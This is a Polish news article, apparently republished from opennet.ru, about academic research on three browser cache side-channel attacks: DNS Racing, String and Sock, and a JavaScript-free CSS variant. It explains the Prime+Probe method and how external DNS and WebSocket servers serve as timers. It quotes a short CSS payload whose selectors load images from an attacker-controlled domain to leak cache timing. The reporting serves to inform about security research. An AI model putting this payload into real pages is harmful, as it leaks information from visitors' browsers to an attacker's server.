Atak polegający na ekstrakcji pamięci podręcznej procesora realizowany w przeglądarce internetowej bez JavaScript

Grupa badaczy z kilku amerykańskich, izraelskich i australijskich uniwersytetów opracowała trzy ataki, które działają w przeglądarkach internetowych, aby wyodrębnić informacje o zawartości pamięci podręcznej procesora. Jedna metoda działa w przeglądarkach bez JavaScript, a pozostałe dwie omijają istniejące metody ochrony przed atakami side-channel, w tym te używane w przeglądarce Tor i DeterFox. Kod demonstrujący ataki, a także komponenty serwera wymagane do ataków, są publikowane w serwisie GitHub.

Do analizy zawartości pamięci podręcznej we wszystkich atakach stosowana jest metoda Prime+Probe, która polega na wypełnieniu pamięci podręcznej referencyjnym zestawem wartości i określeniu zmian poprzez pomiar czasu dostępu do nich podczas uzupełniania. Aby ominąć mechanizmy ochrony obecne w przeglądarkach, które uniemożliwiają dokładny pomiar czasu, w dwóch wariantach uzyskuje się dostęp do kontrolowanego przez atakującego serwera DNS lub WebSocket, który prowadzi dziennik czasu otrzymania żądań. W jednym wariancie jako standard czasu stosuje się stały czas odpowiedzi DNS.

Pomiary wykonane przy użyciu zewnętrznych serwerów DNS lub WebSocket, dzięki zastosowaniu systemu klasyfikacji opartego na uczeniu maszynowym, były wystarczające do przewidywania wartości z dokładnością do 98% w najbardziej optymalnym scenariuszu (średnio 80-90%). Metody ataku zostały przetestowane na różnych platformach sprzętowych (Intel, AMD Ryzen, Apple M1, Samsung Exynos) i okazały się uniwersalne.

Atak polegający na ekstrakcji pamięci podręcznej procesora realizowany w przeglądarce internetowej bez JavaScript

Pierwsza wersja ataku DNS Racing wykorzystuje klasyczną implementację metody Prime+Probe przy użyciu tablic JavaScript. Różnice sprowadzają się do użycia zewnętrznego timera opartego na DNS i obsługi onerror, która jest wyzwalana, gdy podejmowana jest próba załadowania obrazu z nieistniejącej domeny. Zewnętrzny timer umożliwia przeprowadzenie ataku Prime+Probe w przeglądarkach, które ograniczają lub całkowicie wyłączają dostęp do timerów JavaScript.

W przypadku serwera DNS znajdującego się w tej samej sieci Ethernet dokładność timera szacuje się na około 2 ms, co jest wystarczające do ataku typu side-channel (dla porównania, dokładność standardowego timera JavaScript w przeglądarce Tor jest zredukowana do 100 ms). Atak nie wymaga kontroli nad serwerem DNS, ponieważ czas wykonania operacji jest tak dobrany, że czas odpowiedzi DNS służy jako znak wcześniejszego zakończenia sprawdzania (w zależności od tego, czy obsługa onerror została wywołana wcześniej czy później, wyciągany jest wniosek o szybkości operacji sprawdzania z pamięcią podręczną).

Druga metoda ataku, „String and Sock”, ma na celu ominięcie zabezpieczeń ograniczających niskopoziomowe użycie tablic w JavaScript. Zamiast tablic, „String and Sock” wykorzystuje operacje na bardzo dużych ciągach znaków, których rozmiar jest dobierany tak, aby zmienna obejmowała całą pamięć podręczną LLC (Last Level Cache). Następnie, za pomocą funkcji indexOf(), ciąg znaków jest przeszukiwany w poszukiwaniu małego podciągu, którego początkowo brakowało w oryginalnym ciągu, co oznacza, że ​​operacja wyszukiwania enumeruje cały ciąg. Ponieważ rozmiar ciągu znaków odpowiada rozmiarowi pamięci podręcznej LLC, skanowanie umożliwia sprawdzenie pamięci podręcznej bez manipulowania tablicami. Aby zmierzyć opóźnienie, DNS jest zastępowany wywołaniem serwera WebSocket kontrolowanego przez atakującego. Żądania są wysyłane przed i po operacji wyszukiwania, na podstawie których… serwer Obliczono opóźnienie użyte do analizy zawartości pamięci podręcznej.

Trzeci wariant ataku „CSS PP0” jest implementowany za pomocą HTML i CSS i może działać w przeglądarkach z wyłączonym JavaScript. Metoda jest podobna do „String and Sock”, ale nie jest powiązana z JavaScriptem. Atak generuje zestaw selektorów CSS, które wykonują wyszukiwanie według maski. Początkowy długi ciąg znaków wypełniający pamięć podręczną jest określany poprzez utworzenie znacznika div z bardzo długą nazwą klasy. Wewnątrz umieszczany jest zestaw innych znaczników div z własnymi identyfikatorami. Dla każdego z tych zagnieżdżonych znaczników div definiowany jest własny styl za pomocą selektora, który wyszukuje podciąg. Podczas renderowania strony przeglądarka najpierw próbuje przetworzyć wewnętrzne znaczniki div, co prowadzi do operacji wyszukiwania w długim ciągu znaków. Wyszukiwanie jest przeprowadzane według ewidentnie brakującej maski i prowadzi do iteracji całego ciągu znaków, po czym spełniony jest warunek „not” i podejmowana jest próba załadowania obrazu tła odwołującego się do losowego fragmentu. domeny: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …

Subdomeny są obsługiwane na serwerze DNS atakującego, który może mierzyć opóźnienia w odbieraniu żądań. Serwer DNS zwraca NXDOMAIN dla wszystkich żądań i przechowuje dziennik dokładnego czasu żądań. W wyniku przetworzenia zestawu divów serwer DNS atakującego otrzymuje serię żądań, a opóźnienia między nimi korelują z wynikiem sprawdzania zawartości pamięci podręcznej.

Atak polegający na ekstrakcji pamięci podręcznej procesora realizowany w przeglądarce internetowej bez JavaScript


Źródło: opennet.ru
Kup niezawodny hosting dla stron z ochroną DDoS, serwery VPS VDS 🔥 Kup niezawodny hosting stron internetowych z ochroną DDoS, serwery VPS VDS | ProHoster